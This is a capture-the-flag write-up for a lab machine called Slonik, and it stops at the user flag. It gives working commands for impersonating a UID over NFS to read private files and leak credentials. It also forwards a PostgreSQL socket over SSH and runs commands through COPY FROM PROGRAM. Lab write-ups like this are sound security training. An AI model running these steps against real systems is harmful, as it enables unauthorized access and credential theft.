Slonik
Slonik is a medium Linux box centered on NFS and PostgreSQL. NFS exports trust client-supplied UID/GID, so matching a local user to the share owner unlocks a private home directory leaking database credentials. PostgreSQL listens only on a local UNIX socket with peer-trust auth — forwarding that socket over SSH gives password-less superuser access, and COPY FROM PROGRAM turns it into command execution for the user flag. This post covers recon through user.txt.
Overview
Slonik is a Medium-difficulty Linux machine focused on NFS and PostgreSQL abuse. The path to user.txt chains an NFS UID/GID trust weakness (to read a private home directory and leak database credentials) with a PostgreSQL UNIX socket forwarded over SSH, where the built-in COPY ... FROM PROGRAM gives command execution as the postgres user. This post stops at the user flag.
Recon
| Port | Service |
|---|---|
| 22 | OpenSSH 8.9p1 (Ubuntu) |
| 111 | rpcbind |
| 2049 | NFS (nfs_acl) |
1
2
nmap -p- --min-rate=1000 -T4 10.129.234.160
nmap -p22,111,2049 -sC -sV 10.129.234.160
Three ports, and the interesting pair is 111 + 2049 — NFS. With no web service in sight, the NFS exports are the way in.
Enumeration
NFS (2049)
List the exports, then enumerate their contents and ownership:
1
2
showmount -e 10.129.234.160
nmap -p 111,2049 --script nfs-showmount,nfs-ls,nfs-statfs 10.129.234.160
Two shares are exported: /home and /var/backups. Inside /home is a directory service owned by UID 1337 / GID 1337 with rwxr-x--- permissions — readable only by that user. NFS (AUTH_SYS) authorizes access by the UID/GID the client presents, with no server-side check.
Impersonating UID 1337
Mount the export, then create a local user whose UID and GID match the directory owner. The NFS server then serves the protected files to “the owner”:
1
2
3
4
sudo mount -t nfs 10.129.234.160:/ /mnt/nfs_target -o nolock
sudo groupadd -g 1337 service
sudo useradd -u 1337 -g 1337 -M -s /bin/bash service
sudo -u service cat /mnt/nfs_target/home/service/.psql_history
.psql_history contains an INSERT with the service user’s password stored as an unsalted MD5 hash (aaabf0d3...), which reverses to service. .bash_history reveals the database is reachable through a local UNIX socket: /var/run/postgresql/.s.PGSQL.5432.
Foothold
PostgreSQL listens only on its local UNIX socket with peer/trust authentication — no password needed locally. SSH access as service works but the shell is restricted (the session closes immediately), so instead of a shell, forward the remote socket to a local one:
1
2
sshpass -p '<redacted>' ssh -fN -o ExitOnForwardFailure=yes \
-L /tmp/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 [email protected]
Now connect locally as the password-less superuser and confirm command execution via COPY ... FROM PROGRAM:
1
2
psql -h /tmp -U postgres -c "CREATE TABLE x(o text); COPY x FROM PROGRAM 'id'; SELECT * FROM x;"
# -> uid=115(postgres) gid=123(postgres) ...
That confirms RCE as the postgres OS user, entirely non-interactively.
User flag
1
psql -h /tmp -U postgres -c "CREATE TABLE u(o text); COPY u FROM PROGRAM 'cat /var/lib/postgresql/user.txt'; SELECT * FROM u;" # HTB{...}
Command execution as postgres achieved, and the user flag lives at /var/lib/postgresql/user.txt.
Foothold complete. Privilege escalation is left as an exercise — this post stops at user.